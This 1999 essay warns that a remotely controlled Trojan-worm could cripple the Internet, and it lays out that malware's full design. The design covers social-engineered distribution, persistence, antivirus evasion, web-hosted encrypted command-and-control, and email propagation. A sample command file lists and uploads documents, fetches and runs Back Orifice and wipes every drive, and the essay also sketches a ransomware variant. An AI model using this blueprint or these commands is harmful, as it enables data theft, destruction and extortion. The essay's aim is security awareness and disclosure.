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Worst Nightmares Come Alive
Before we start
============
This document has been written with great care. I urge you to read the
complete document before commenting on it. Furthermore, I urge you to
think about it for a while before commenting on it. If you have
constructive comments please send it to:
roelof@cube.co.za
You may replicate this document at will - but please do not butcher it
- copy the *whole* document, and give me credit. I would also
appreciate it if you let me know where you publish it - just to keep
track of it.
Regards,
Roelof Temmingh
South Africa.
99/07/29
Index:
======
Part I: Background
Part II: Overview
Part III: Detail design
Part IV: QWRNA (Questions We Rather Not Ask)
Part I: Introduction to your worst nightmare
===================================
"I guess it was bound to happen someday - please spread the word".
This message was posted to a computer mailing list by Gene Spafford on
03 November 1988 - back in the days when the Internet, still in its
infancy, was a tool for academics and a toy for geeks. Spafford is
referring to an Internet-born computer worm (a type of self-sustained
virus) that eventually managed to effect more then 10% of the 60,000
hosts then connected to the Internet. Despite the fact most of the
world hadn't heard of the Internet or email before, and the fact that
the Dukakis-Bush election was just days way, the incident made it to
the front page of most major newspapers. This was not because the worm
was particularly viscous - it was actually quite benign - but because
people recognized the potential for large-scale damage the worm
represented. Were it not for a small programming error in the worm's
code it may never even have been discovered. Ten years ago the "Morris
Worm" shocked the world into realizing the fragility of Internet.
Today, very little has changed. Despite ten years of new knowledge and
experience the Internet today is as least as vulnerable to Morris-type
attacks as it was ten years ago. In fact, even more so. Consider the
following:
1. Ten years ago the Morris worm used weaknesses common to a number of
different UNIX systems to take control of the computers and propagate
itself. Today the same operating system is installed on 90% of all
desktop computers. A single program could attack all these machines.
2. Ten years ago the Internet belonged to an elite group of
specialists and professionals. They understood their computers
intimately and managed them closely. Today every home has a computer
and a connection to the Internet. The average computer user can't tell
"email" from "mpeg".
3. Ten years ago the Internet was used primarily by scientists,
researchers and academics. Today it is a major business conduit.
Billions of dollars are moved over the Internet daily in various forms
and most companies would simply not be able to ANY business without
their IT computer systems.
The widespread use of firewalls on computer systems does little to
alleviate the risk. The threat here is not an attack from some hacker
on the Internet, but a program run unwittingly on a computer already
inside the protected network. The sections that follow show exactly
just how feasible such a program is. While reading you will note the
following frightening truths:
- Just how relatively easy such a program is to write. Similar
programs already exist and are widely known.
- Just how easy such a program is to spread. The Internet is the
perfect mass distribution system and its strength is also its
weakness.
- Just how easy such a program is to hide. The average user doesn't
understand half the processes running on the system legitimately, let
alone a program doing its utmost to conceal itself.
- Just how hard such a program is to stop. The program can spread at
the speed of light, take any form, hide itself and mutate with every
new installation. Immeasurable damage could be done before it is
eventually stopped.
- Just how ugly such a program could be. This kind of software could
bring entire sectors of industry to their knees. A well-planned
infection with malicious intent would make the Morris Virus of '88
look like a mild case of the flu.
So what can be done to prevent this from happening? Not too much I'm
afraid. Like the citizens of a volcanic island we need to be aware,
stay alert and hope we spot the eruption early enough to prevent a
disaster. Here are some precautions a company can take:
1. Policy. The use of any unauthorized software should be prohibited.
2. User education, user education, user education. Make your users
aware of the dangers of running software from untrusted sources.
3. Audits. Perform regular checks to see what's installed and running
on your PCs.
4. Operating systems. A strong operating system with proper multi-user
support can minimize the damage done by a worm. Install Microsoft NT
rather then Windows 95 or 98. Consider using other operating systems,
like Line or BSD.
5. Diversity. By mixing a number of operating systems one can minimize
the amount of damage a virus or worm could do. This, however,
introduces added complexity in the management of the all the different
systems. Your call...
6. Network security. Firewalls, file encryption, operating system
security, etc. all make it more difficult for the would be worm. In
particular virus scanners and HTML, FTP and SMTP content scanners help
us weed out these kinds of threats. Consider stripping executable
attachments and other active content completely.
7. Host-based IDS. Intrusion detection systems may detect attacks
either on the network or the computers themselves.
8. Assume the worst. Plan for disasters with disaster recovery sites,
backups, and business continuity plans. Test and practice with these
systems.
As you read the description that follows, imagine the consequences of
the release of such an animal and ask yourself how long it will be
before we are again saying to ourselves "I guess it was bound to
happen someday..."
Part II: The bare bone basics
==========================
This is the part of the document that will try to give a very basic
understanding of the Trojan/virus. It is *suppose* to raise questions
- these questions will be dealt with in the third section. It will
only give the reader an idea of the dynamics of the virus. It the
"press release" part of it.
The Package
----------
The package is a single executable. The executable contains two parts,
a normal functional program, and the Active Ingredient (AI). The
normal program can be anything, but should be of interest for the
Internet community. Examples could include: screensavers. auto playing
AVI,MPEGs, flash movies, anti virus software, a new hacking tool or
even an anti virus solution.
The type of package could be customized to suit the way of
transportation.
Initial infection
---------------
The package will be distributed on the Internet. This is done by
"robots". These "robots" will upload the infected package to FTP
servers, mass mail the package to users, repackage existing software
to contain the AI, and DCC the package at random to users connected to
IRC servers. The 'net should be flooded by infected programs, all
different in size and apparent functionality.
Conventional virus spreading methods can also be used. Initial
infection could last in the order of 2 months.
Upon first execution on client machine
---------------------------------
A user will obtain the package, and execute it.
- Settle in.
AI will rename itself to a non-suspect filename. The AI will take the
necessary precautions to ensure that it will be executed every time
the host is restarted.
- Registration on server
AI should wait until it detects the possibility to connect to a server
on the Internet. When this happens, the AI should contact a predefined
web server(s), uploading information to this site. It will save a file
on this site containing detailed information of the host. Each AI will
save the file with a unique name / serial number.
Day to day activity of AI
---------------------
The AI will monitor activity, and if it detects traffic to the WWW, it
will periodically check for instructions, posted on the predefined web
server. These commands will be downloaded from the WWW, and executed
on the host. The commands are to be found in a file that match the
serial number that the AI registered in the initial contact. The AI
will execute all commands found in the command file. If the AI cannot
find the command file, it will fall back to a general command file. If
it cannot find this file it will proceed with preprogrammed
instructions.
Spreading further
--------------
Every host that is infected "reports" to one of the predefined
servers. It will update a counter file. Every host that is infected
with the initial spread will increment a number stored in the
"infection count" file. When this file reach a critical mass, all AIs
will begin secondary infection procedure:
The AI will extract all email addresses contained within the address
book of popular mailers (Outlook, Netscape, Eudora). The AI will start
sending email with attachments to addresses harvested from the
mailers. The attachment will be the package. The rate at which the AI
will send mail can be controlled via command files.
Part III: Inner workings
========================
This section will try to explain consideration that should be taken,
technical specifications etc. It is aimed at people who understand the
underlying technology. It is mainly aimed at programmers that know
their stuff.
Initial infection
-----------------
- Repackage bots
Robots that will download executables from frequently visited sites
(Tucows etc.), and repackage it to contain the package. These bots
could be instructed to visit certain sites more frequent than others
and to target certain files. These bots should have the ability the
decompress distributions, repackage, and compress it as well.
- DCCsend bot
Robots on multiple IRC channels that will at random DCC the package to
clients that are detected running the de facto standard Windows client
(Mirc). Robots could be written with intelligence to con users to
accept the DCC. Bots could be situated in "Warez" channels, spreading
the repackaged commercial software.
- FTP put bot
Robots that will search the Internet for FTP servers with writable
/pub and /incoming directories, and drop the package in those
directories.
- Mail bot
These bots will be not unlike the mass mailer programs, mailing the
package to many individuals, posing as representatives from various
organizations such as Hotmail, Geocities etc, with package as free
"gift". This "gift" can be something like a new screensaver or HTML
writer.
Note that all transport mechanism implies that the receiver is
connected to the Internet on some way or another.
The AI itself can be coded in different forms, so that there will be
hundreds of different code signatures - this will make it difficult
for anti virus vendors to develop a program that will search for code
signatures.
First contact
-------------
When the user downloaded the package, he/she will execute it. The
package will run the normal program, and the AI will also execute. The
AI will install itself within the system, in such a way that it will
always execute at startup. It will also disguise itself, by renaming
itself to a non-suspect filename. This name will contain random
letters, and should not be longer than 6 letters. At every restart, it
will rename itself again (and modify the startup correctly). It could
also modify the startup method -e.g. modifying the registry, or the
win.ini.
The AI must be able to detect itself. This will ensure that the AI
will not be installed every time the package is executed. This can be
done by "marking" the host - it will not reveal where the AI is
located, just that it has been infected. This "marking" will
furthermore hamper the detection process later on, as this mark has to
be removed before the host can be re-infected for lab purposes.
The AI will proceed to determine if it is situated in an online
environment (it can open a session to a machine on the Internet). If
direct connection is not possible, it will determine if a proxy is
present (registry), and use the proxy to connect to the Internet.
Ideally, the AI will monitor network traffic with destination port 80,
and determine the best path out - be that direct, or via a proxy. As
this could involve installing a custom packet driver, the AI could
monitor CPU load across different applications, and register an online
situation when a browser (IE or Netscape) uses CPU load.
The AI will only try to make a connection if it can safely determine
that there is an already open connection to the 'net.
The AI will contain a list of web servers that will be ready to accept
the registration. For every AI, this list will contain random
preferences. The AI will try to contact the web server with higher
preference and send a report to the web server. The AI will send the
report in the same way that browsers upload files to web servers. This
list could typical contain up to 75 different locations.
The initial report that the AI will send to the web server should
contain:
-Self generated serial number
-DNS name / IP
-Firewalled Y/N
-Proxies
-DHCP Y/N
-Interface information (type, speed etc)
-Platform (e.g. CPU, memory)
-Browser support (Netscape / IE)
-Mail support (Outlook, Eudora etc)
-Registered programs
-Real name
-Username
-Email address
Most of this information can be extracted from the registry. The AI
will save this report in a file with the same name as the self
generated serial number.
The AI will try to download a file called "counter". This file will
contain a number. It will increment this number, and upload the file,
with the same filename. This file is thus a counter of the number of
infected hosts that could reach the server(s). A "counter.lock" file
can be used to ensure that two hosts do not access the file at the
same time. A host that encounters a lock file will wait for a
predefined period of time, and retry.
It is *very* important that the virus is not discovered during the
initial infection stage. Care should be take that the AI should under
no circumstances reveal itself. It should rather end its life than
reveal itself.
Using different spreading mechanism, and different "host programs"
should ensure that the AI could still reproduce. The packages will
still contain the AI, and infection can spread along with it.
The web servers
-------------
These are the web servers where the AIs will register, and receive
commands from. The web servers should all be public accessible web
servers, where free webspace can be obtained - e.g. Geocities, Iname,
Yahoo, to name a few. Multiple accounts should be registered on every
server.
Commands "dropped" for the AIs should be replicated between the
servers. This means that all commands should be present on all
servers, so that a certain AI can pick up commands from different
servers (in the case that one server might be down, blocked, or
administratively taken down).
Replicating the data can be easily automated if the web server accepts
FTP connections. If the sever does not, a PERL script can be build to
interrogate web interfaces. As it is envisaged that this virus will be
controlled by a group of people, a CRC checksum of all command files
could be stored on the web server. Replication will only happen when
CRC checksums between web servers does not match.
To hamper detection, fake web servers can be included in the list. The
AI will know that these sites does not contain a "drop zone", and will
not attempt to retrieve commands or drop reports to it. The only
purpose of these fake sites will be to cause confusion to anti virus
vendors once the AI is detected.
More information on the format and distribution of "dropped" commands
will follow.
Day to day activity of the AI
-----------------------------
When the AI detects that it can open a pipe to its web server of
choice (as explained in the "First Contact" section), it will try to
download a file called ".cmd.". Failing this, it will try to download
a file named "general.cmd.". The first file is a file containing
specific commands for the AI. The AI will internally keep count of
command files that was received and executed and will only act on
command files with counters larger than its saved counter. The second
file is a file that is used for sending commands to be executed by all
AIs. It is envisaged that this will be the default action, unless the
controller have something specific in mind for a particular host.
Both these files contain commands for the AI(s). After downloading the
command file, the AI will execute the commands. If the AI acts on
general commands it will increment a counter within a file called "".
By doing this, the controller can see how many AIs have already
executed the general command. Access to the command counter file can
also be regulated by a lock file.
An instruction set could contain the following commands:
-remove()
Remove the AI from memory, hard drives and IP stack.
- mass_destruct()
Erase all data, and reboot.
- sync (time)
Will command AI to periodical fetch new command file every "time"
minute. The AI will still only contact the server when it can do so
safely.
- batch begin, batch end
All commands between batch begin and batch end will be executed as a
batch job. Commands between "begin" and "end" should be chosen to
redirect its output to files - see the example.
-download (filename, local name)
Downloads from web server, and save it as on the host's hard drive.
- upload (local file,remote file)
Uploads to web server, saving it as on the server.
-update (local file)
The AI will download and update itself. This could be useful when anti
virus vendors start to realize the threat.
-spread (count, rate)
See section on secondary infection.
-default begin (count), default end.
Commands between default begin and default end will be executed if the
AI cannot connect to servers in succession. (it will still only try to
reach these servers when it detects that it is in an online
environment)
The command set can obviously be expanded to include typical BO
commands. An example of an AI command file could be:
default begin 4
 c;mass_destruct
default end
sync 15
batch begin
dir c:\*.doc /s > c:\dirall.docs
upload c:\dirall.docs 16643dhas13.all_docs
del c:\dirall.docs
download bo.exe c:\winnt\system32\taskbar.exe
c:\winnt\system32\taskbar.exe
batch end
spread 25000,5
END
In this example the AI will erase all data on all drives when contact
are lost with its top 4 servers. It will try to download command files
every 15 minutes. It will upload a file called 16643dhas13.all_docs
containing a listing of all .DOC files on the C: drive. It will
download and install Back Orifice. The "spread" command will be
discussed in the next section.
Note the "END" at the end of the command file. If the AI cannot find
"END" at the end of the command file, it must regards the command file
as incomplete, and not execute any commands.
With minimal effort, command file and reports can be encrypted.
Encrypting the data should make it much more difficult to determine
the mechanics of this virus. It will also help to ensure that anti
virus vendors cannot send commands to the web servers to automatically
erase the AI - such as "remove()".
Combining encryption with the "default begin default end" command
makes for a powerful concept. If the host is left on the 'net, it can
be remotely controlled. If the sites that the AI is visiting is taken
down, the host goes down with the AI. Anti virus vendors, security
exports cannot talk to the AI, because communication is encrypted. The
only way to be totaly safe is to disconnect the host permanently from
the Internet.
Secondary infection
-------------------
Every AI that registers will increment the "counter" file. The
"spread" command act on the number contained in the "counter" file. If
the counter exceeds , secondary infection procedures are executed at
rate :
The AI will "farm" email addresses from known mail clients - e.g.
Outlook, Eudora and Netscape mail. It will extract mailer information
(SMTP gateway, local email address owner etc.) from the registry, or
directly from the mail client. The AI will disregard email addresses
that is within the same domain as the host (that is - it will never
send email to bob@bobby.com, if the local domain is bobby.com). This
is to minimize the chance that the virus will be discovered by
inter-human contact.
The AI will start sending out packages (see Part II) to number of
persons per day. Each message sent out will contain different subject
lines - e.g. "check this out", "have a look", "for your information"
etc. If the host contains less than email addresses, it will send it
to the maximum number of recipients, given that they are not within
the same domain. Note that via the command file, the rate of infection
can be controlled.
Let's assume that we have an initial install base of 10000 (which is
pretty conservative). If we send a spread index of 7 the virus/Trojan
will spread like this (assuming that the receiver is not yet
infected):
1st iteration: 70,000
2nd iteration: 490,000
3rd iteration: 3,430,000
4th iteration: 24,010,000
If we assume that only 75% of receivers will have an OS that is
susceptible for this virus/Trojan, and that only 50% of those will
execute the attachment we are still looking at:
1st iteration: 26,250
2nd iteration: 68,906
3rd iteration: 180,878
4th iteration: 475,807
at which time it will become difficult for the web servers to keep up.
Keep in mind that the 4th iteration can be reached within hours, where
after a mass_destruct() signal could possibly be issued.
Part IV: Now think about this...
==============================
Ask yourselves these questions:
-Can this really be done? The answer is yes. Yes yes yes. It has been
done to a much smaller extent. Think of Melissa, think of the '88
worm. All of them were minor threats in comparison with this.
-Why is this then different from what we have seen before?
The major difference here is that this Trojan/virus will initiate
communication. This means it can bypass firewalls, as firewalls are
generally build to block incoming traffic, while allowing (some)
outgoing traffic. This Trojan/virus will also have the ability to
communicate with its controller (and even inter-virus communication is
possible). The virus/Trojan is basically a streamlined, neatly
packaged combination of all the bad things that are floating around
the 'net today.
-how much "smarter" can this thing be made?
Much smarter. I am not the brightest person on earth, and I can come
up with something like this. There are many of us out there, smarter,
and brighter...and with the resources to create this monster.
-what would be the implications of this?
It could mean that the Internet would change, to such an extent that
it will no longer be possible for companies to use it as a commercial
tool. Back to the old days of vast open, purely academic networks.
-Is the IT security world ready to handle such an onslaught?
Not really. When this Trojan/virus reaches secondary infection phase,
it can spread to millions of hosts within hours, and disconnection of
hosts could lead to disaster. Remember that the rate at which the anti
virus could spread is just as fast, or slower than that of the virus.
-what would happen if this were wired into an existing stable
reputable product?
I rather not think of it...
-How do we know that there is not something like this out there?
We don't. Isn't it strange that our friends at cDc and L0pht haven't
released something like this? Or have they? Hmmm?
-why have you written this?
I think that a monster the likes of this is about to be released. It
will be only a question of time before a thing like this will happen.
The only thing keeping it from happening is that the people with
skills to write such an application is not willing to do so, since
they, as experts, know the implications.
Taking it one step further (the really nasty angle)
===========================================
Now lets see...what would happen if the AI was to encrypt *.DOC *.CPP,
*.C files and store the keys on the web servers (encrypted under a
masterkey)? I can see it now - "buy your code & documents back at our
special discount price"...
Last words & thanks
====================
And you thought all we do in South Africa is dodge the elephants... My
sincere thanks goes out to Charl for his ideas and for writing part I.
-----------end---------------
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